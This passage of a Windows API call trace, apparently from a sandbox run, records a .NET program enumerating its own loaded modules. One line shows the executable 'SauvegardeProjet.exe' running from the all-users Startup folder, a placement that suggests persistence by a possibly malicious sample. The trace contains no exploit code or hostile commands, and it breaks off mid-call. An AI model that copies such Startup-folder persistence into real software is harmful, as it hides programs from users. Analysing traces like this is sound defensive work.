[0231.050] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0231.050] CoTaskMemFree (pv=0x6681b48) [0231.050] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.050] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0231.051] CoTaskMemFree (pv=0x6681b48) [0231.051] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x25fc9ec, cb=0xc | out: lpmodinfo=0x25fc9ec*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0231.051] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.051] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0231.052] CoTaskMemFree (pv=0x6681b48) [0231.052] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.052] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0231.052] CoTaskMemFree (pv=0x6681b48) [0231.052] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x25febe0, cb=0xc | out: lpmodinfo=0x25febe0*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0231.053] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.053] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0231.054] CoTaskMemFree (pv=0x6681b48) [0231.054] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.054] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0231.054] CoTaskMemFree (pv=0x6681b48) [0231.054] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x2600d20, cb=0xc | out: lpmodinfo=0x2600d20*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0231.055] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.055] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0231.055] CoTaskMemFree (pv=0x6681b48) [0231.055] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.055] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0231.056] CoTaskMemFree (pv=0x6681b48) [0231.056] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x2602e34, cb=0xc | out: lpmodinfo=0x2602e34*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0231.056] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.056] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0231.057] CoTaskMemFree (pv=0x6681b48) [0231.057] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.057] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0231.058] CoTaskMemFree (pv=0x6681b48) [0231.058] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x2605000, cb=0xc | out: lpmodinfo=0x2605000*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0231.058] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.058] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0231.059] CoTaskMemFree (pv=0x6681b48) [0231.059] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.059] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0231.060] CoTaskMemFree (pv=0x6681b48) [0231.060] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x26071f0, cb=0xc | out: lpmodinfo=0x26071f0*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0231.060] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.060] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0231.061] CoTaskMemFree (pv=0x6681b48) [0231.061] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.061] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0231.062] CoTaskMemFree (pv=0x6681b48) [0231.062] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x2609408, cb=0xc | out: lpmodinfo=0x2609408*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0231.063] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.063] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0231.063] CoTaskMemFree (pv=0x6681b48) [0231.063] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.063] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0231.064] CoTaskMemFree (pv=0x6681b48) [0231.064] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x260b514, cb=0xc | out: lpmodinfo=0x260b514*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0231.064] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.064] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0231.065] CoTaskMemFree (pv=0x6681b48) [0231.065] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.065] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0231.066] CoTaskMemFree (pv=0x6681b48) [0231.066] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x260d6dc, cb=0xc | out: lpmodinfo=0x260d6dc*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0231.066] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.066] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0231.067] CoTaskMemFree (pv=0x6681b48) [0231.067] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.067] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0231.067] CoTaskMemFree (pv=0x6681b48) [0231.067] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x260f82c, cb=0xc | out: lpmodinfo=0x260f82c*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0231.068] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.068] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0231.069] CoTaskMemFree (pv=0x6681b48) [0231.069] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.069] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0231.069] CoTaskMemFree (pv=0x6681b48) [0231.069] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x2611a28, cb=0xc | out: lpmodinfo=0x2611a28*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0231.070] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.070] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0231.071] CoTaskMemFree (pv=0x6681b48) [0231.071] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.071] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0231.071] CoTaskMemFree (pv=0x6681b48) [0231.071] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x2613bd8, cb=0xc | out: lpmodinfo=0x2613bd8*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0231.072] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.072] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0231.073] CoTaskMemFree (pv=0x6681b48) [0231.073] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.073] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0231.073] CoTaskMemFree (pv=0x6681b48) [0231.073] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x2615da0, cb=0xc | out: lpmodinfo=0x2615da0*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0231.074] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.074] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0231.075] CoTaskMemFree (pv=0x6681b48) [0231.075] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.075] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0231.075] CoTaskMemFree (pv=0x6681b48) [0231.075] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x2617eac, cb=0xc | out: lpmodinfo=0x2617eac*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0231.076] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.076] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0231.077] CoTaskMemFree (pv=0x6681b48) [0231.077] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.077] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0231.077] CoTaskMemFree (pv=0x6681b48) [0231.077] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x2619fb8, cb=0xc | out: lpmodinfo=0x2619fb8*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0231.078] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.078] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0231.079] CoTaskMemFree (pv=0x6681b48) [0231.079] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.079] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0231.079] CoTaskMemFree (pv=0x6681b48) [0231.079] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x261c0dc, cb=0xc | out: lpmodinfo=0x261c0dc*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0231.080] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.080] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0231.081] CoTaskMemFree (pv=0x6681b48) [0231.081] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.081] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0231.082] CoTaskMemFree (pv=0x6681b48) [0231.082] CloseHandle (hObject=0x284) returned 1 [0231.256] GetCurrentProcessId () returned 0x55c [0231.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x284 [0231.256] EnumProcessModules (in: hProcess=0x284, lphModule=0x25413ac, cb=0x100, lpcbNeeded=0x540b480 | out: lphModule=0x25413ac, lpcbNeeded=0x540b480) returned 1 [0231.257] GetModuleInformation (in: hProcess=0x284, hModule=0xfe0000, lpmodinfo=0x25414ec, cb=0xc | out: lpmodinfo=0x25414ec*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0231.257] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.257] GetModuleBaseNameW (in: hProcess=0x284, hModule=0xfe0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0231.257] CoTaskMemFree (pv=0x6681b48) [0231.257] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.257] GetModuleFileNameExW (in: hProcess=0x284, hModule=0xfe0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0231.257] CoTaskMemFree (pv=0x6681b48) [0231.258] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x254368c, cb=0xc | out: lpmodinfo=0x254368c*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0231.258] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.258] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0231.258] CoTaskMemFree (pv=0x6681b48) [0231.258] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.258] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0231.258] CoTaskMemFree (pv=0x6681b48) [0231.258] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x2545790, cb=0xc | out: lpmodinfo=0x2545790*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0231.258] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.258] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0231.259] CoTaskMemFree (pv=0x6681b48) [0231.259] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.259] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0231.259] CoTaskMemFree (pv=0x6681b48) [0231.259] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x254789c, cb=0xc | out: lpmodinfo=0x254789c*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0231.259] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.259] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0231.259] CoTaskMemFree (pv=0x6681b48) [0231.259] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.259] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0231.260] CoTaskMemFree (pv=0x6681b48) [0231.260] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x25499b0, cb=0xc | out: lpmodinfo=0x25499b0*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0231.260] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.260] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0231.260] CoTaskMemFree (pv=0x6681b48) [0231.260] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.260] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0231.261] CoTaskMemFree (pv=0x6681b48) [0231.261] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x254baf8, cb=0xc | out: lpmodinfo=0x254baf8*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0231.261] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.261] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0231.261] CoTaskMemFree (pv=0x6681b48) [0231.261] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.261] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0231.261] CoTaskMemFree (pv=0x6681b48) [0231.261] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x254dc0c, cb=0xc | out: lpmodinfo=0x254dc0c*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0231.262] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.262] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0231.262] CoTaskMemFree (pv=0x6681b48) [0231.262] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.262] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0231.262] CoTaskMemFree (pv=0x6681b48) [0231.262] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x254fd18, cb=0xc | out: lpmodinfo=0x254fd18*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0231.263] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.263] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0231.263] CoTaskMemFree (pv=0x6681b48) [0231.263] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.263] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0231.263] CoTaskMemFree (pv=0x6681b48) [0231.263] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x2551e24, cb=0xc | out: lpmodinfo=0x2551e24*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0231.264] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.264] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0231.264] CoTaskMemFree (pv=0x6681b48) [0231.264] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.264] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0231.311] CoTaskMemFree (pv=0x6681b48) [0231.312] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x2553f7c, cb=0xc | out: lpmodinfo=0x2553f7c*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0231.312] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.312] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0231.312] CoTaskMemFree (pv=0x6681b48) [0231.312] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.312] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0231.312] CoTaskMemFree (pv=0x6681b48) [0231.312] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x2556088, cb=0xc | out: lpmodinfo=0x2556088*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0231.313] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.313] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0231.313] CoTaskMemFree (pv=0x6681b48) [0231.313] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.313] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0231.313] CoTaskMemFree (pv=0x6681b48) [0231.313] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x255819c, cb=0xc | out: lpmodinfo=0x255819c*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0231.314] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.314] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0231.314] CoTaskMemFree (pv=0x6681b48) [0231.314] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.314] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0231.314] CoTaskMemFree (pv=0x6681b48) [0231.314] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x255a2e4, cb=0xc | out: lpmodinfo=0x255a2e4*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0231.315] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.315] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0231.315] CoTaskMemFree (pv=0x6681b48) [0231.315] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.315] GetModuleFileNameExW (in: hProcess=0x284, 